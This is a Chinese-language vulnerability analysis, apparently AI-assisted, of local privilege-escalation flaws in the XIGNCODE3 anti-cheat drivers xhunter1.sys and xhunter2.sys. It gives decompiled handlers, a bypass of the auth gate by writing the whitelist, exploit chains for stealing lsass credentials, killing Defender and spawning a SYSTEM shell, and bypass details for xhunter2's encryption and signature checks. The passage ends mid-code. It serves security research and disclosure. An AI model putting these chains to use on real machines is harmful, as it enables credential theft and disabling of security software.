【AI】 XIGNCODE3 反作弊内核驱动漏洞分析报告(xhunter1.sys / xhunter2.sys)
XIGNCODE3 反作弊内核驱动漏洞分析报告(xhunter1.sys / xhunter2.sys)
本文是对 Wellbia XIGNCODE3 反作弊内核驱动
xhunter1.sys(v2023.12.7.78) 与xhunter2.sys(v2026.6.1.192) 的本地提权(LPE)漏洞分析记录。
内容综合自两篇公开研究文章、AxHunter项目源码
目录
- 1. 背景:反作弊进入 ring 0 的信任模型
- 2. 目标驱动与样本信息
- 3. 第一篇:xhunter1.sys v2023.12.7.78 —— 猎捕反作弊者
- 4. 第二篇:xhunter2.sys v2026.6.1.192 —— 三层认证
- 5. AxHunter 项目
- 6. 反编译核实记录(IDA MCP)
- 7. 影响、修复与防护建议
- 8. 信息来源
1. 背景:反作弊进入 ring 0 的信任模型
内核态反作弊(kernel anti-cheat)运行在 ring 0,与 EDR/AV 拥有相同特权级别。要捕获用户态游戏作弊,反作弊必须能看到并作用在用户态边界之下,其信任模型与内核安全代理一致。这一模式成立的前提是:反作弊驱动至少与其它被允许进入 ring 0 的组件同等加固——尤其是,不能把特权原语交给“恰好打开其设备的任意进程”。
当该前提被打破时,反作弊驱动不仅无法再防止作弊,反而会成为:
- 每台正在运行该游戏的机器上的 实时 LPE 原语;
- 每台曾经运行过该游戏的机器上的 稳定 BYOVD 原语(驱动卸载后仍残留在磁盘)。
2. 目标驱动与样本信息
Wellbia.com Co., Ltd. 是韩国首尔的反作弊厂商,XIGNCODE3 是其旗舰产品,支持“全球超过 150 款在线游戏”,覆盖韩系及东亚市场(Black Desert、Lineage II、MapleStory SEA/JMS、AION、Blade & Soul 等),据其官网称“每日用户超过 10 亿”。
两份目标驱动样本:
| 属性 | xhunter1.sys |
xhunter2.sys |
|---|---|---|
| 版本 | 2023.12.7.78 | 2026.6.1.192 |
| CVE | 无(未分配) | CVE-2026-15430 |
| 大小 | 215,864 字节 | — |
| 架构 | x86-64 内核驱动 | x86-64 内核驱动 |
| 设备 | \\.\xhunter |
\Device\xhunter2(DO_BUFFERED_IO,无 DosDevices 符号链接) |
| 签名 | Wellbia + Microsoft WHQL | Wellbia + Microsoft WHQL(Hardware Compatibility Publisher) |
| 测试环境 | Windows 11 24H2 build 26200(HVCI + VBS + MS VDBL) | Windows 11 25H2 build 26200.8457(HVCI + VBS + MS VDBL) |
关于 “one hash” 问题:Wellbia 会为每个游戏标题重新构建并签名
xhunter1.sys。不同游戏携带的 SHA-256 哈希不同,但功能上是同一驱动、同一版本字符串。上面文件中的 SHA-256(0D1FD685...C0FCF760)只是被逆向的具体样本,漏洞适用于任意 v2023.12.7.78 构建。因此基于单一哈希的封禁列表无法覆盖整个驱动族。
签名行至关重要:这不仅厂商签名,还携带 Microsoft WHQL 签名(嵌入二进制内),因此能在 Windows 11 的 Kernel Mode Code Signing、HVCI 下正常加载。这不是“来路不明的第三方程产补丁”,而是微软自己的签名基础设施认可的内核二进制。
3. 第一篇:xhunter1.sys v2023.12.7.78 —— 猎捕反作弊者
3.1 整体架构与协议
- 用户态服务随游戏启动;内核驱动
xhunter1.sys在 ring 0 做进程内省与完整性监控。 - 驱动被安装到
C:\Windows,游戏卸载后驱动不删除。 - 不使用
DeviceIoControl。命令通过WriteFile(IRP_MJ_WRITE)发送,使用固定 624 字节请求缓冲区。分发表按 opcode 路由。 - 请求头:
XHUNTER_MAGIC = 0x345821AB,长度0x270,opcode 在+0x0C。 - 分发表从 2018 年二进制的 25 个 handler 增长到 v2023.12.7.78 的 44 个。
该漏洞类并不新鲜。IRP_MJ_WRITE 命令接口、624 字节结构化报文(magic 0x345821AB)、按 opcode 走分发表,以及命令 785(0x311)通过 ObOpenObjectByPointer(AccessMode = KernelMode, HandleAttributes = 0) 铸造 PROCESS_ALL_ACCESS 句柄,早在 2018 年就被 Psychotropos 公开记录。旧版(v10.0.10011.16384)对应 CVE-2026-3609。
Wellbia 声称该漏洞类已在 v2023.09.19.078(韩国 KVE 2023-5589,NDA 约束下无公开记录)修复,并声明“v2023.09.19.078 及以上不再受影响”。本报告验证的是 v2023.12.7.78(晚于其声称的修复阈值)。
3.2 认证门(auth gate):sub_140005E84
Wellbia 确实在 v2023.09.19.078 中加入了针对原始 bug 的修复,且该修复在反汇编中可见。补丁引入了按 PID 的认证门:每次进入特权 0x311 handler 前,都会用 PsGetCurrentProcessId() 在内部白名单(qword_140021BD8,{PID, flags} 记录链表)中查找,并检查 (flags & 0x80000008) == 0x80000008。
以下反编译为我在 IDA 中对 xhunter1.sys 实测所得:
// sub_140005E84 @ 0x140005E84 —— 认证门(IDA 实测)
bool sub_140005E84()
{
unsigned int CurrentProcessId = PsGetCurrentProcessId();
return (sub_140006204(CurrentProcessId) & 0x80000008) == 0x80000008;
}
sub_140006204 是白名单查找——一个互斥保护下的链表遍历(Flink walk):
// sub_140006204 @ 0x140006204 —— 遍历白名单查找调用者 PID(IDA 实测)
__int64 __fastcall sub_140006204(int a1)
{
unsigned int v2 = 0;
ExAcquireFastMutex(&FastMutex);
for ( PVOID *i = (PVOID *)qword_140021BD8;
i != &qword_140021BD8;
i = (PVOID *)*i ) // Flink walk
{
if ( *((_DWORD *)i + 4) == a1 ) // node+0x10 = PID
{
v2 = *((_DWORD *)i + 5); // node+0x14 = flags
break;
}
}
ExReleaseFastMutex(&FastMutex);
return v2;
}
被门控的 0x311 handler(sub_1400030B8)包装了与原始 bug 相同的 ObOpenObjectByPointer 原语,但现在位于门之后:
// sub_1400030B8 @ 0x1400030B8 —— cmd 785 handler(v2023.12.7.78,已加门)
__int64 __fastcall sub_1400030B8(_DWORD *a1, __int64 a2)
{
*(_DWORD *)a2 = 0x270; // 响应长度
*(_DWORD *)(a2 + 4) = 0x12121212; // 响应 magic
*(_DWORD *)(a2 + 0xC)= 0xC0000001; // STATUS_UNSUCCESSFUL 默认
*(_DWORD *)(a2 + 8) = ~a1[2]; // xor-key 回显
unsigned int v4 = a1[7]; // req+0x1C —— 调用者提供的 ACCESS_MASK
if ( sub_140005E84() ) // ← 认证门
{
v5 = (unsigned int)a1[6]; // req+0x18 —— 调用者提供的 PID
v7[1] = 0;
v7[0] = v5;
*(_DWORD *)(a2 + 0xC) =
sub_1400087F4(&v8, v4, v7, 0); // 铸造句柄
*(_QWORD *)(a2 + 0x10) = v8; // ← 句柄返回给用户态
}
else
{
*(_DWORD *)(a2 + 0xC) = 0xC0000001; // 门拒绝
}
return 0;
}
未被改动、自 2018 年就存在的 ObOpenObjectByPointer 包装器 sub_1400087F4:
// sub_1400087F4 @ 0x1400087F4 —— ObOpenObjectByPointer 包装器(IDA 实测)
__int64 __fastcall sub_1400087F4(void **a1, ACCESS_MASK a2, __int128 *a3, char a4)
{
if ( a4 ) {
ProbeForWrite(a1, 8u, 8u);
ProbeForRead(a3, 0x10u, 4u);
v14 = *a3;
} else {
v14 = *a3;
}
if ( *((_QWORD *)&v14 + 1) ) {
v8 = PsLookupProcessThreadByCid(&v14, &v11, &Object);
if ( v8 >= 0 ) ObfDereferenceObject(Object);
} else {
v8 = sub_14000C2EC(v14, &v11); // PID → EPROCESS
}
if ( v8 >= 0 ) {
v8 = ObOpenObjectByPointer(
v11, 0, 0, // HandleAttributes=0,无 OBJ_KERNEL_HANDLE
a2, // ← 调用者控制的 access mask
(POBJECT_TYPE)PsProcessType,
0, // ← AccessMode = KernelMode ⚠ PPL 绕过
&Handle);
ObfDereferenceObject(v11);
if ( v8 >= 0 ) *a1 = Handle;
}
return (unsigned int)v8;
}
关键观察:读取白名单的 handler 被门控了,但写白名单的 handler 没有被认证。
3.3 “把自己写进名单”:cmd 777 + cmd 775
分发表中另外两个 opcode 是对门所查询之列表的未认证写入。
命令 0x309 / 777(handler sub_140003498):注册调用者自身 PID,并设置其白名单表项的 bit 31。
// sub_140003498 @ 0x140003498 —— cmd 777 handler。无认证检查(IDA 实测)
__int64 __fastcall sub_140003498(__int64 a1, _DWORD *a2)
{
*a2 = 0x270;
a2[1] = 0x12121212;
a2[3] = 0xC0000001;
a2[2] = ~*(_DWORD *)(a1 + 8);
CurrentProcessId = (unsigned int)PsGetCurrentProcessId();
v4 = sub_140006A10(CurrentProcessId); // register_pid —— 追加到白名单
a2[3] = v4;
if ( v4 < 0 ) return 0;
sub_140006418(CurrentProcessId, 0x80000000LL); // ← 设置高位标志:bit 31
sub_140006C50(0xE01AC001, 0, 0, 0, 0);
return 0;
}
sub_140006A10 是注册逻辑(一个 0x64 表项数组,重复注册返回 0xC0000001 表示“已注册”):
// sub_140006A10 —— register_pid(IDA 实测)
_InterlockedIncrement(&dword_140021E20);
if ( _InterlockedCompareExchange(&dword_140021C88, 0x64, 0x64) == 0x64 )
return 0xC000009A; // 表已满
ExAcquireFastMutex(&stru_140021C40);
// ... 若重复则返回 0xC0000001;否则在数组中找空位写入 PID ...
dword_140021C90[v6] = a1;
ExReleaseFastMutex(&stru_140021C40);
sub_140006418(设置上位标志):
// sub_140006418 —— 设置调用者表项的上位标志(IDA 实测)
__int64 __fastcall sub_140006418(unsigned int a1, int a2)
{
int v4 = sub_140006204(a1); // 当前 flags
return sub_140005FC8(a1, a2 & 0xFFFF0000 | v4); // 写入 a2 的高 16 位
}
命令 0x307 / 775(handler sub_140001DD8):写入任意 PID 的低 16 位标志位。
// sub_140001DD8 @ 0x140001DD8 —— cmd 775 handler(IDA 实测)
__int64 __fastcall sub_140001DD8(_DWORD *a1, _DWORD *a2)
{
*a2 = 0x270;
a2[1] = 0x12121212;
a2[3] = 0xC0000001;
a2[2] = ~a1[2];
sub_140005F98((unsigned int)a1[6], (unsigned int)a1[7]); // (PID, flags) → 写低16位
a2[3] = 0;
return 0;
}
组合绕过:
WriteFile(dev, cmd=777, ...) // 设置自身 PID 的 bit 31
WriteFile(dev, cmd=775, pid=self, flags=0x0008, ...) // 设置自身 PID 的 bit 3
// → flags = 0x80000008,门通过
WriteFile(dev, cmd=785, pid=<target>, mask=0x1FFFFF) // → PROCESS_ALL_ACCESS 句柄
即:0x80000000 | 0x0008 = 0x80000008 → 认证门 sub_140005E84 通过。
3.4 三个原语:cmd 785 / 787 / 800
在 xhunter1.sys 中,博客文章与 README 共指出三个核心原语(并额外关注了未加认证门的 cmd 815 注入原语与 cmd 817 完整性报告,见 §3.5):
- cmd 785(
0x311):PPL 绕过句柄铸造。ObOpenObjectByPointer(AccessMode = KernelMode),返回PROCESS_ALL_ACCESS句柄。 - cmd 787(
0x313):跨进程内存读。KeStackAttachProcess+memcpy。 - cmd 800(
0x320):句柄踩踏(handle stomp)。KeStackAttachProcess+ObSetHandleAttributes(KernelMode)+ZwClose,可清除任意句柄上的ProtectFromClose并关闭之。
cmd 787(0x313)—— 跨进程内存读:handler sub_140003278
通过 IDA 分发表(sub_140002A3C,dword_1400217C0 = 0x313)确认,cmd 787 的 handler 是 sub_140003278。它受认证门保护(sub_140005E84),其核心是在 KeStackAttachProcess 下对目标进程做逐字节拷贝:
// sub_140003278 @ 0x140003278 —— cmd 787 handler(IDA 实测)
__int64 __fastcall sub_140003278(__int64 a1, _DWORD *a2)
{
// ... 写响应头(0x270 长度 / 0x12121212 magic / 0xC0000001)
if ( !sub_140005E84() ) { a2[3] = 0xC0000001; return 0; } // 认证门
v5 = *(_QWORD *)(a1 + 0x28); // 目标缓冲 VA(驱动侧)
v6 = *(_DWORD *)(a1 + 0x30); // 读取字节数
v7 = *(_QWORD *)(a1 + 0x20); // 目标进程内源地址
result = sub_140007874(*(HANDLE*)(a1 + 0x18), 0x10, &Object); // 句柄 → EPROCESS
CurrentProcess = IoGetCurrentProcess();
if ( Object != CurrentProcess && sub_140005F24(Object) ) return ...; // 白名单/保护检查
v11 = sub_1400081D0(v5, v6, &Mdl); // 为目标缓冲建 MDL
v12 = sub_140008924(Object, v7, v11, v6, &v15); // KeStackAttachProcess 读
a2[4] = v15; // 实际拷贝字节数
sub_140007A74(Mdl, v11); // 清理 MDL
ObfDereferenceObject(Object);
return v12;
}
读原语本身 sub_140008924 是直白的 KeStackAttachProcess + 逐字节复制:
// sub_140008924 @ 0x140008924 —— KeStackAttachProcess 读(IDA 实测)
__int64 __fastcall sub_140008924(KPROCESS *a1, u64 a2, __int64 a3, unsigned int a4, unsigned int *a5)
{
KAPC_STATE ApcState; v8 = 0;
memset(&ApcState, 0, sizeof(ApcState));
KeStackAttachProcess(a1, &ApcState); // 附着到目标进程
for ( i = 0; i < a4; ++i ) {
if ( a2 >= (u64)MmSystemRangeStart ) { v8 = 0x8000000D; break; } // 禁止读内核地址
*(_BYTE *)(i + a3) = *(_BYTE *)(i + a2); // 逐字节 memcpy
}
*a5 = i; // 已拷贝字节数
KeUnstackDetachProcess(&ApcState); // 解除附着
return v8;
}
配套辅助函数(IDA 实测):
sub_140007874—— 句柄解析。先用ObReferenceObjectByHandle(Handle, 0x10 /*PROCESS_VM_READ*/, ...),失败则穷举一组 ACCESS_MASK(0x1000,0x400,0x800,0x100,0x200,0x80,0x40,0x20,0x10,8,4,2,1,0x10000,0x20000,0x40000,0x80000,0x100000)重试——即“暴力匹配访问位”以拿到对象引用。sub_1400081D0→sub_1400081E0—— 目标缓冲IoAllocateMdl+MmProbeAndLockPages+MmMapLockedPagesSpecifyCache,把用户目标缓冲锁入内存以便内核写。sub_140007A74——MmUnmapLockedPages+MmUnlockPages+IoFreeMdl清理。sub_140005F24—— 目标进程白名单/保护状态检查。
注意:该原语附带一层轻量加固——源地址必须
< MmSystemRangeStart(只允许读用户态地址);且sub_140005F24会检查目标进程是否属于驱动自身的受保护/白名单进程集合,命中(如游戏本体的受保护进程)则拒绝操作。对于不在 XIGNCODE3 白名单内的普通进程(如lsass.exe),这一检查不拦截;因此认证门一旦被 cmd 777+775 绕过,攻击者即可用 cmd 785 拿到句柄、再用 cmd 787 对任意普通进程做跨进程读。
cmd 800(0x320)—— 句柄踩踏
cmd 800 的 handler 是 sub_140001FF8(分发表 dword_140021870 = 0x320 → qword_140021878 = sub_140001FF8),它在 KeStackAttachProcess 附着到目标进程后,调用“清属性 + 关闭”内核辅助函数 sub_140003A1C(IDA 实测):
// sub_140003A1C @ 0x140003A1C —— 清句柄属性并关闭(IDA 实测)
__int64 __fastcall sub_140003A1C(HANDLE Handle, char a2)
{
v5 = a2;
v6 = 0;
result = ObSetHandleAttributes(Handle, &v5, 0); // 清 ProtectFromClose 等属性
if ( (int)result < 0 ) return result;
ZwClose(Handle);
return v4;
}
cmd 800 的威胁在于:该命令没有调用者检查,仅要求目标具有 PROCESS_QUERY_LIMITED_INFORMATION 权限(Windows 默认给予任意调用者对任意 PPL 进程的该权限)。在 MsMpEng.exe(Defender,PPL-Antimalware-Light)的句柄表上迭代 cmd 800,即可在非特权上下文中可靠终止 Defender。
3.5 cmd 815:内核注入原语(及 cmd 816/817 说明)
结论:经 IDA 分发表逐项核对,
0x32F(cmd 815)的 handler 实为sub_140001E54,是一条未加认证门的内核 shellcode 注入链(sub_140001E54→sub_14000A028→sub_14000A7A4)。AxHunter 源码中的CMD_INJECT_THREAD = 815与分发表一致,是正确的。完整性报告/自检分发器实际挂在0x331(cmd 817,handlersub_140001FB4→sub_140003D28);0x330(cmd 816)对应 handlersub_140002334(返回驱动内部状态结构,与注入无关)。
分发表(sub_140002A3C)中与这三者相邻的项(每项 dword opcode + qword handler):
| 地址 | opcode | handler | 语义 |
|---|---|---|---|
0x140021970 |
0x331(817) |
qword_140021978 = sub_140001FB4 |
完整性报告/自检分发器 |
0x140021980 |
0x32F(815) |
qword_140021988 = sub_140001E54 |
内核注入链 |
0x140021990 |
0x330(816) |
qword_140021998 = sub_140002334 |
返回内部状态结构 |
cmd 815(0x32F)—— 真正的内核 shellcode 注入:sub_140001E54 → sub_14000A028 → sub_14000A7A4。handler sub_140001E54 无认证门,直接调用 sub_14000A028:
// sub_140001E54 @ 0x140001E54 —— cmd 815 handler(IDA 实测,无认证门)
__int64 __fastcall sub_140001E54(__int64 a1, _DWORD *a2)
{
*a2 = 0x270; a2[1] = 0x12121212; a2[3] = 0xC0000001; a2[2] = ~*(_DWORD *)(a1 + 8);
a2[3] = sub_14000A028(a1 + 0x18, (__int64)(a2 + 4)); // 目标解析 + 注入
return 0;
}
sub_14000A028 按请求的 mode 位(a1+0x48)解析目标进程:bit1 用句柄(sub_140007874)、bit2 用 PID(PsLookupProcessByProcessId)、bit4 用线程 ID(PsLookupThreadByThreadId + IoThreadToProcess)、bit8/0x10 用其它句柄源,随后统一进入注入核心 sub_14000A7A4:
// sub_14000A7A4 @ 0x14000A7A4 —— 内核侧 shellcode 注入核心(IDA 实测)
// 1. 绕过 PPL + Ob 回调获得全句柄
if ( ObOpenObjectByPointer(a3, 0x200, 0, 0x1FFFFFu, PsProcessType, 0, &ProcessHandle) < 0 )
return 0xE01AF018;
// 2. 在目标地址空间 RWX 分配(MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE=0x40)
if ( ZwAllocateVirtualMemory(ProcessHandle, &BaseAddress, 0, &RegionSize, 0x3000, 0x40) < 0 )
return 0xE01AF017;
// 3. 把调用者提供的字节复制进分配区(sub_140008BC0)
sub_140008BC0((_DWORD)a3, (_DWORD)BaseAddress, a1, ...);
// 4. 经函数指针表 qword_140022010 / qword_140022018 启动线程,
// 入口 = BaseAddress + entry_offset(分别为 RtlCreateUserThread / NtCreateThreadEx 形态)
if ( qword_140022010 ) qword_140022010(ProcessHandle, 0,0,0,0,0, (char*)BaseAddress + v7, BaseAddress, &v23, &v28);
else qword_140022018(&v23, 0x1FFFFF, &v25, -1, (char*)BaseAddress + v16, BaseAddress, 4, 0, 0x1000, 0x100000, 0);
// 5. 阻塞等待注入线程返回
if ( v23 ) { ZwWaitForSingleObject(v23, 0, 0); ZwClose(v23); sub_140009208(a3, ProcessHandle, BaseAddress, a2); }
// 6. 清理
注入链真实存在,且就是挂在 0x32F(815)——与 AxHunter 源码 CMD_INJECT_THREAD=815 一致。
cmd 816(0x330)—— handler sub_140002334(返回结构,非注入)。该 handler 读取全局对象 qword_140022068 所指向的结构,把其中大量字段(0x30/0x58/0x68/0x4C/0x50/0x40/0x5C/0x48/0x60/0x64/0x44/0x94/0x90/0x8C/0x80/0x78/0x88/0x7C/0x84/0x9C/0xA8/0xA0/0xA4/0xAC/0xB4/0xBC/0xB8/0xB0/0x20/0x28/0x18 等)逐一写入响应缓冲区,本质是返回驱动/被保护进程的内部状态,与注入无关。
cmd 817(0x331)—— handler sub_140001FB4(无认证门),完整性报告/自检分发器:
// sub_140001FB4 @ 0x140001FB4 —— cmd 817 handler(IDA 实测,无认证门)
__int64 __fastcall sub_140001FB4(__int64 a1, _DWORD *a2)
{
*a2 = 0x270;
a2[1] = 0x12121212;
a2[3] = 0xC0000001;
a2[2] = ~*(_DWORD *)(a1 + 8);
a2[3] = sub_140003D28(a1 + 0x18, a2 + 4); // 完整性报告分发器
return 0;
}
sub_140003D28 是一个按 flags 位分派的报告子分发器:
// sub_140003D28 @ 0x140003D28 —— 完整性报告分发器(IDA 实测)
__int64 __fastcall sub_140003D28(__int64 a1, _DWORD *a2)
{
*a2 = 0;
result = sub_14000B828(qword_14000E0B0); // 前置门检查(失败即返回)
if ( (int)result < 0 ) return result;
if ( (*(_DWORD *)a1 & 1) != 0 ) // bit 0:进程/线程身份自检
return sub_140003B18(a2, *(_QWORD *)(a1 + 4), *(_QWORD *)(a1 + 0xC));
if ( (*(_DWORD *)a1 & 2) != 0 ) // bit 1:按子类型分派报告
{
switch ( *(_DWORD *)(a1 + 4) ) {
case 1: return sub_140003DC8(a2); // 读取驱动全局状态(32 字节)
case 2: return sub_140003E98(a2); // 运行完整性回调
case 4: return sub_140003E54(a2); // 运行完整性回调
case 8: return sub_140003ADC(a2); // 运行完整性回调
}
}
return 0xC000000DLL;
}
各子函数(IDA 实测)均为完整性/自检语义,而非注入:
sub_140003B18—— 给定 PID/TID,用PsLookupProcessByProcessId/PsLookupThreadByThreadId解析并校验对象类型的归属,返回一组错误位(0x200/0x400/0x1000/0x2000/0x4000/0x8000/0x10000/0x20000),用于“受保护进程匹配”上报。sub_140003DC8—— 从sub_140004080取得的一个全局地址处读取至多 32 字节(MmIsAddressValid保护),上报驱动内部状态。sub_140003E98/sub_140003E54/sub_140003ADC—— 调用sub_14000D0C8(sub_1400044F8,…)/sub_14000D030(sub_140004464)/sub_1400045B4等工作器,执行完整性回调。
注入链 handler sub_140001E54 与完整性报告 handler sub_140001FB4 都无认证门,自任意非特权调用者可达。
3.6 攻击链与利用流程
三个原语 + 一个认证绕过,构成一条完整利用链:
- 凭据窃取(PPL lsass):cmd 777 + cmd 775 把自身写入白名单 → cmd 785 拿到
lsass.exe的 PPL 绕过句柄 → 内核态读取LogonSessionList,提取 NT/SHA1 哈希与(存在时)WDigest 明文。前提是必须有游戏会话在运行。 - EDR 击杀(handle stomp):cmd 785 拿到
MsMpEng.exe句柄 → 枚举其句柄表 → cmd 800 逐个关闭受保护句柄,可靠杀掉 Defender。 - 交互式 SYSTEM shell:cmd 785 拿到
winlogon.exe句柄 →VirtualAllocEx+WriteProcessMemory+CreateRemoteThread运行 41 字节 shellcode:WinExec("cmd.exe", SW_SHOW)。子进程继承 winlogon 的NT AUTHORITY\SYSTEMtoken 与 Session 1。
利用不对称性:攻击者只需在游戏会话运行时发送三条 WriteFile;而修复只覆盖了读白名单的一侧,没覆盖写白名单的一侧。
4. 第二篇:xhunter2.sys v2026.6.1.192 —— 三层认证
Wellbia 对第一篇的回应是一次完整的内核驱动重写:xhunter2.sys(v2026.6.1.192)。新协议、新帧格式、加密传输、三层独立的密码学认证层包裹整个分发表。这是真实工程投入,明显提高了触及原语的反向工程门槛。
但原语(cmd 785 / 787 / 800)本身逐字节保留未变。本文只关注三层认证如何被逆向与绕过。
4.1 新协议与帧格式
- 无
DeviceIoControl。MajorFunction表挂钩IRP_MJ_CREATE、IRP_MJ_CLOSE、IRP_MJ_WRITE。每个命令都是 write。 - 无符号链接(无
\??\xhunter2、\\.\xhunter2),必须用NtCreateFile打开原始 NT 路径。 - 打开失败时撒谎:普通
NtCreateFile返回STATUS_OBJECT_NAME_NOT_FOUND(0xC0000034)——设备对象明明在命名空间里,驱动却谎称“不存在”。WBCC 格式错误返回STATUS_INVALID_PARAMETER;PE base 错误返回STATUS_NOT_FOUND;RSA 签名不匹配返回STATUS_NOT_FOUND。所有失败都返回STATUS_ACCESS_DENIED以外的值,处处撒谎。 - 分发表共 45 个 opcode(774..822)。
帧接受门 sub_14000F5AC:
// sub_14000F5AC @ 0x14000F5AC —— 帧接受门(IDA 实测)
__int64 __fastcall sub_14000F5AC(__int64 a1, __int64 a2, __int64 a3)
{
_DWORD *v4;
if ( *(_DWORD *)(a1 + 8) == a3 &&
(v4 = *(_DWORD **)(a2 + 0x18), v4[6] == a3) &&
(v4[7] ^ v4[8]) == 0x70506202 ) // 0x70506202
return *(_QWORD *)(a2 + 0x18);
return 0;
}
两个长度字段 + 一个由调用者选择的种子派生的 magic 单词。SEED_KEY = 0x41414141 由调用者固定,位于 v4[8](帧字节 32);magic 0x70506202 位于 v4[7](字节 28),存为 MAGIC ^ SEED_KEY。检查简化为固定偏移处的明文 magic 单词。
解密后帧布局(1184 字节):
| 偏移 | 大小 | 字段 |
|---|---|---|
| 24-27 | 4 | 长度哨兵(0x4A0) |
| 28-31 | 4 | MAGIC ^ SEED_KEY |
| 32-35 | 4 | SEED_KEY(固定 0x41414141) |
| 36-39 | 4 | opcode |
| 40-47 | 8 | 响应缓冲区 VA(用户空间) |
| 48-583 | 536 | WBCC blob(认证层 2) |
| 584-1183 | 600 | handler 参数 |
协议怪癖:请求内嵌的响应缓冲区 VA 由调用者提供,驱动直接把响应写回用户内存——不走 IRP.UserBuffer,不走 IRP 输出缓冲区,而是帧内的裸用户指针。
4.2 LCG-XOR 加密传输
追踪 sub_14000F5B4 及相邻解密辅助函数,显示一个带固定乘数/增量的线性同余生成器(LCG),以及由 SEED_KEY 派生的每消息种子:
s0 = 1864026567 - 1640531535 * (SEED_KEY ^ 0x7B85F243)
sn = 1664525 * s(n-1) + 1013904223
byte[n] ^= (sn >> 23) & 0xFF
应用于请求的字节 [36..1183]。响应使用同样的 LCG,种子用 SEED_KEY ^ 0x847A0DBC,覆盖 786 字节。响应 magic 位于偏移 28,为 0x20260507——Wellbia 的日历年度构建水印,可作为版本指纹。
4.3 认证层 1:IRP_MJ_CREATE 处的 WBMF 校验
打开设备落到 sub_140002C80。该函数拉取用户指针、用 sub_140009108 走 PE(按 magic 索引 2605 的 PE 资源/节查找,解析 WBMF blob 于 PE 相对偏移 +0x290A0)、ProbeForRead 恰好 484 字节、复制出来、检查 "WBMF" magic(0x464D4257),然后用 sub_140003BA8(SHA-256)对 228 字节哈希,并用 sub_1400039E8 对 256 字节签名做 RSA-2048 验证(公钥硬编码于 0x140014400)。
IDA 实测 sub_140002C80(关键部分):
// sub_140002C80 @ 0x140002C80 —— WBMF 校验器(IDA 实测,关键路径)
if ( !a1 || a1 >= MmHighestUserAddress ) return 0xC000000D;
result = sub_1400093D8(a1); // 基本 PE 健全性
if ( result < 0 ) return result;
result = sub_140009108((_DWORD)a1, (unsigned int)&v25, 0xA2D, &Address, &v13); // 索引 2605
if ( result < 0 ) return result;
if ( v13 != 0x1E4 ) return 0xC000007B; // 484 字节
ProbeForRead(Address, 0x1E4u, 1u);
// ... 复制 484 字节到栈 ...
if ( v15 != 0x464D4257 || v16 != 0x1E4 ) return 0xC000007B; // "WBMF", 484
if ( v17 != 1 ) return 0xC0000059; // 版本
// ... 校验 blob 内偏移与缓冲区边界 ...
sub_140003BA8(&v15, 0xE4, v26); // sha256(WBMF 228 字节)
if ( !(unsigned __int8)sub_1400039E8(&unk_140014400, 0x100, 0x10001,
v26, 0x20, v24, 0x100) )
return 0xC000A000; // 签名不匹配
// 成功时运行 blob 关联的签名代码完整性回调 ...
公钥前 32 字节:
A3 73 80 AA 6A 43 CE 12 E9 E2 36 A3 30 D5 CF 61
63 1B BA DA E1 9B BD 3D 75 16 98 72 C0 4E 3B CE
这是针对真实 Wellbia 签名的真实 2048 位 RSA 验证,不是可预映像的哈希检查。发送的东西必须是已经携带 Wellbia 签名的 WBMF 携带型 PE。
第二个调用点收紧了螺丝:sub_1400027F4(layer-2 WBCC handler)会第二次调用 sub_140002C80,用通过 ZwQueryInformationThread(ThreadQuerySetWin32StartAddress) 获取的 PsGetCurrentThread() 的 Win32StartAddress。该值必须落在 WBMF PE 的 VA 范围内。即使有签名 PE,调用线程也必须从该 PE 内的某个地址开始执行。
WBMF PE 在哪里:XIGNCODE3 用户态组件把 WBMF DLL 注入每个
WindSlayer.exe进程,且从不落盘。可通过 System Informer 对游戏进程做 Full dump,扫.dmp中的"WBMF"(0x464D4257),在对应 VA0x10000000 + 0x290A0处找到 blob,再切出 VA0x10000000起 0x2C000 字节的 PE →wbmf_module.dll。
绕过层 1:
- 把提取的 DLL 以首选基址(
0x10000000)映射为扁平文件镜像(驱动只读固定偏移,节无需重对齐)。 - 在映射区内种入原生 worker 入口点,启动指向它的线程。典型形态是写入 PE 内某偏移的 14 字节绝对间接 JMP:
FF 25 00 00 00 00 jmp qword ptr [rip+0]
<abs64 target>
CreateThread(start=pe+0x500) 产生 Win32StartAddress == pe+0x500,落在范围内。从该线程 NtCreateFile("\Device\xhunter2", ..., EaBuffer=WBCT{pe_base=0x10000000}),其中 WBCT 是 536 字节 EA blob,名字为 "WBCT\0",把 PE base 带回驱动。
WBMF RSA 对 pe+0x290A0 处的 blob 验证——通过,因为那是 Wellbia 对 Wellbia blob 的签名。Win32StartAddress 检查通过,设备句柄返回。
Wellbia 的假设是 WBMF 签名验证证明调用者身份。它不证明身份——它只证明调用者读过游戏内存。每台运行该游戏的机器上,任何同用户进程都能做到这一点。
4.4 认证层 2:每请求 WBCC 证书校验
打开设备只换来一个句柄。尝试任意真实 opcode 立即从 sub_1400027F4 返回新的失败。这是 WBCC handler,在每次分发前运行:
IDA 实测 sub_1400027F4(关键部分):
// sub_1400027F4 @ 0x1400027F4 —— 每请求 WBCC 校验器(IDA 实测,关键路径)
if ( !a1 || *(_DWORD *)a1 != 0x43434257 // "WBCC"
|| *(_WORD *)(a1 + 4) != 0x218 ) // 536
return 0xC000000D; // STATUS_INVALID_PARAMETER
if ( *(_WORD *)(a1 + 6) != 1 ) return 0xC0000059; // 版本
v3 = *(_QWORD *)(a1 + 0x10); // WBCC+16 = pe_base
if ( !v3 || *(_DWORD *)(a1 + 0xC) > 0x40u || v3 >= MmHighestUserAddress )
return 0xC000000D;
result = sub_1400021E8(&v17, &v16); // 取调用线程的 Win32StartAddress
result = sub_140002C80(v4, 0, "call", &v15); // 重新验证 WBMF RSA
...
// 若线程未从 PE 内启动,则也验证该 PE
if ( (v17 < v4 || v17 >= &v4[v15]) && v16 != v4 )
result = sub_140002C80(v16, v17, "callthread", 0);
...
// 把 WBCC 表项复制进栈缓冲区,然后迭代证书链
result = sub_1400029B8(&v18, v4, v16);
证书链迭代器 sub_1400029B8(IDA 实测):
// sub_1400029B8 @ 0x1400029B8 —— 证书链迭代器(IDA 实测)
if ( !a1 ) return 0xC000000D;
v6 = *(_DWORD *)(a1 + 0xC); // 表项数量
if ( v6 > 0x40 ) return 0xC000000D;
v7 = 0;
if ( !v6 ) return 0; // ⚠ count=0 立即成功
while ( 1 ) {
v8 = *(char **)(a1 + 8 * v7 + 0x18); // 逐个表项
if ( !v8 || v8 >= MmHighestUserAddress ) break;
if ( v8 != a2 && v8 != a3 ) {
// 检查重复项 ...
sub_140003660(v12, 0x20, "extra%u", v7);
result = sub_140002C80(v8, 0, v12, 0); // 对每个"额外"PE 再跑 WBMF RSA
if ( result < 0 ) return result;
}
v7 = v7 + 1;
